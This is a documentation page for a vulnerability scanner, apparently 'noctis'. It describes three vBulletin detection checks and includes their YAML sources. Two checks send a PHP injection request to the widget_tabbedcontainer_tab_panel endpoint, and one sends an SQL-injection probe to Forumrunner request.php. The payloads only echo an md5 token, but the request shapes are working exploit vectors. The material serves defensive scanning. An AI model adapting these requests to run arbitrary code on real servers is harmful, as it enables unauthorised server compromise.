vBulletin — 3 vulnerability checks
noctis ships 3 vulnerability checks for vBulletin, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
vBulletin widget_tabbedcontainer template injection code execution
| CVE | CVE-2020-17496 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/vbulletin/CVE-2020-17496.yaml |
Posts a widget_php subwidget to /ajax/render/widget_tabbedcontainer_tab_panel whose PHP code prints NOCTIS followed by the MD5 of a random per-run token, and reports only when the response carries that digest, which the scanner computes locally and never sends. A server that merely echoes the request back therefore cannot match.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /ajax/render/widget_tabbedcontainer_tab_panelwith a crafted body - Parses / computes the next value with a Rhai script
- Checks
verdictforNOCTIS_VB17496_CONFIRMED→ finding QoD 97: vBulletin widget_php template injection evaluated PHP: echo 'NOCTIS'.md5('<per-run token>') returned the locally computed … (HTTP …)
References:
Feed source — tests/vulnerabilities/vbulletin/CVE-2020-17496.yaml
uid: 2929c47d-a4d0-4b12-bc40-fc91f8257597
name: "CVE-2020-17496 — vBulletin widget_tabbedcontainer template injection code execution (CVSS 9.8)"
description: "Posts a widget_php subwidget to /ajax/render/widget_tabbedcontainer_tab_panel whose PHP code prints NOCTIS followed by the MD5 of a random per-run token, and reports only when the response carries that digest, which the scanner computes locally and never sends. A server that merely echoes the request back therefore cannot match."
cves: [CVE-2020-17496]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [vbulletin, rce, php, template-injection]
services: [http, https]
author: noctis
version: "1.1.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2020-17496"
- "OpenVAS NASL 2020/vbulletin/gb_vbulletin_rce_vuln_aug20.nasl (GPL-2.0-only)"
# Ported from OpenVAS NASL 2020/vbulletin/gb_vbulletin_rce_vuln_aug20.nasl (GPL-2.0-only, Greenbone Community Feed).
# widget_tabbedcontainer_tab_panel allows unauthenticated PHP exec.
# Proof: the injected PHP prints "NOCTIS" . md5('<per-run token>'); the digest is
# computed by the scanner and never appears in the request, so an echo/debug page,
# honeypot or WAF block page that quotes the request cannot match (#2371).
steps:
# 1 — a fresh unpredictable token for this run.
- id: mint-token
action: script
store_as: tok
code: |
rand_hex(16)
# 2 — the only string a real PHP evaluation can return: NOCTIS + md5(token).
- id: compute-expected
action: script
store_as: expected
code: |
"NOCTIS" + md5(tok)
# Pre-init the result so the verdict never reads an undefined variable when
# the request fails (port closed, TLS error).
- id: init-resp
action: set_var
var_name: resp
var_value: {status: 0, body: ""}
# 3 — echo 'NOCTIS'.md5('<tok>'); exit; (body is not normalised by reqwest)
- id: probe
action: http_request
method: POST
path: "/ajax/render/widget_tabbedcontainer_tab_panel"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20%27NOCTIS%27.md5%28%27{{tok}}%27%29%3B%20exit%3B"
store_as: resp
# 4 — did this run's computed digest come back with HTTP 200?
- id: verdict
action: script
store_as: verdict
code: |
if resp.status == 200 && stridx(resp.body, expected) >= 0 {
"NOCTIS_VB17496_CONFIRMED"
} else {
"none"
}
- id: detect
action: match
source: verdict
pattern: "NOCTIS_VB17496_CONFIRMED"
on_match:
finding:
confidence_delta: 0.7
qod: 97
evidence: "vBulletin widget_php template injection evaluated PHP: echo 'NOCTIS'.md5('<per-run token>') returned the locally computed {{expected}} (HTTP {{resp.status}})"
stop: truevBulletin 3.6.x - 4.2.3 Forumrunner request.php SQL injection
| CVE | CVE-2016-6195 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/vbulletin/CVE-2016-6195.yaml |
Sends a quote in the postids parameter of /forumrunner/request.php and reports when vBulletin answers with its database error page.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /forumrunner/request.php?cmd=get_spam_data&d=1&postids='1 HTTP/1.0 - Checks
resp.bannerfor(database has encountered a problem|image\.php\?type=dberror)→ finding QoD 75: vBulletin Forumrunner request.php postids returned the database error page: …
References:
Feed source — tests/vulnerabilities/vbulletin/CVE-2016-6195.yaml
uid: 17b30d26-91cf-4fbf-aefe-c5e5eb49d13d
name: "vBulletin 3.6.x - 4.2.3 Forumrunner request.php SQL injection (CVE-2016-6195)"
description: "Sends a quote in the postids parameter of /forumrunner/request.php and reports when vBulletin answers with its database error page."
cves: [CVE-2016-6195]
cvss: 9.8
severity: critical
category: sqli
confidence_base: 0.3
tags: [openvas-migrated, http, vbulletin-forumrunner]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2016-6195"
- "OpenVAS NASL 2016/sw_vbulletin_forumrunner_sqli.nasl (GPL-2.0-only)"
# Ported from OpenVAS/Greenbone NASL 2016/sw_vbulletin_forumrunner_sqli.nasl (GPL-2.0-only).
steps:
- id: exploit
action: tcp_connect
port: "{{port}}"
send: "GET /forumrunner/request.php?cmd=get_spam_data&d=1&postids='1 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: resp
- id: detect
action: match
source: resp.banner
pattern: "(database has encountered a problem|image\\.php\\?type=dberror)"
on_match:
finding:
confidence_delta: 0.5
qod: 75
evidence: "vBulletin Forumrunner request.php postids returned the database error page: {{resp.banner}}"
stop: truevBulletin widget_php unauthenticated RCE
| CVE | CVE-2019-16759 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/vbulletin/CVE-2019-16759.yaml |
vBulletin 5.0.0–5.5.4 evaluates attacker-supplied PHP through the unauthenticated /ajax/render/widget_tabbedcontainer_tab_panel widget renderer (widget_php template), yielding remote command execution. Detection sends a per-run echo md5('<token>') payload and confirms the reflected digest matches the locally computed md5.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /ajax/render/widget_tabbedcontainer_tab_panelwith a crafted body - Parses / computes the next value with a Rhai script
- Checks
verdictforNOCTIS_VBRCE_CONFIRMED→ finding QoD 97: vBulletin widget_php evaluated PHP: per-run echo md5('<token>') returned the locally computed digest … (HTTP …)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2019-16759
- https://github.com/jas502n/CVE-2019-16759
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-16759.yaml
Feed source — tests/vulnerabilities/vbulletin/CVE-2019-16759.yaml
# vBulletin 5.0.0–5.5.4 unauthenticated Remote Command Execution (CVE-2019-16759).
#
# The pre-auth AJAX endpoint /ajax/render/widget_tabbedcontainer_tab_panel renders
# a caller-chosen widget. Supplying `widget_php` with a `code` parameter makes the
# server evaluate arbitrary PHP, reflecting its output in the response body.
#
# Detection (confirmed execution, QoD 97) — NOT exploitation:
# We never run shell commands or write anything. We mint a fresh random token
# each run (tok = rand_hex(16)) and precompute expected = md5(tok) locally, then
# ask the target to `echo md5('<tok>');`. Only a server that actually evaluates
# the PHP can return md5(tok) for this run's unpredictable token:
# * a patched server rejects/ignores the widget → no match
# * a server echoing a hardcoded/constant hash → wrong value
# * a server reflecting the `code` string verbatim → reflects source, not md5
# so a body containing this run's expected md5 (with HTTP 200) confirms real PHP eval.
#
# Affected: vBulletin 5.0.0–5.5.4 (patched by the 5.5.2/5.5.3/5.5.4 Patch Level 1 releases).
uid: f6e0670c-5776-455e-9034-eba652edf5e9
name: "vBulletin widget_php unauthenticated RCE (CVE-2019-16759)"
description: |
vBulletin 5.0.0–5.5.4 evaluates attacker-supplied PHP through the unauthenticated
/ajax/render/widget_tabbedcontainer_tab_panel widget renderer (widget_php template),
yielding remote command execution. Detection sends a per-run echo md5('<token>')
payload and confirms the reflected digest matches the locally computed md5.
cves: [CVE-2019-16759]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [vbulletin, rce, php, widget, kev, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2019-16759"
- "https://github.com/jas502n/CVE-2019-16759"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-16759.yaml"
steps:
# 1 — mint a fresh unpredictable token for this run.
- id: mint-token
action: script
store_as: tok
code: |
rand_hex(16)
# 2 — compute the digest we expect only a genuinely vulnerable server to return.
- id: compute-expected
action: script
store_as: expected
code: |
md5(tok)
# 3 — send the PHP payload: echo md5('<tok>'); (url-encoded; reqwest does not
# normalise request bodies, so the encoded parens/quotes survive).
- id: probe
action: http_request
method: POST
path: "/ajax/render/widget_tabbedcontainer_tab_panel"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20md5%28%27{{tok}}%27%29%3B%20exit%3B"
store_as: resp
# 4 — verdict: did this run's expected digest come back with HTTP 200?
- id: verdict
action: script
store_as: verdict
code: |
if resp.status == 200 && stridx(resp.body, expected) >= 0 {
"NOCTIS_VBRCE_CONFIRMED"
} else {
"none"
}
# 5 — confirmed PHP evaluation → finding.
- id: detect
action: match
source: verdict
pattern: "NOCTIS_VBRCE_CONFIRMED"
on_match:
finding:
confidence_delta: 0.65
qod: 97
evidence: "vBulletin widget_php evaluated PHP: per-run echo md5('<token>') returned the locally computed digest {{expected}} (HTTP {{resp.status}})"
stop: true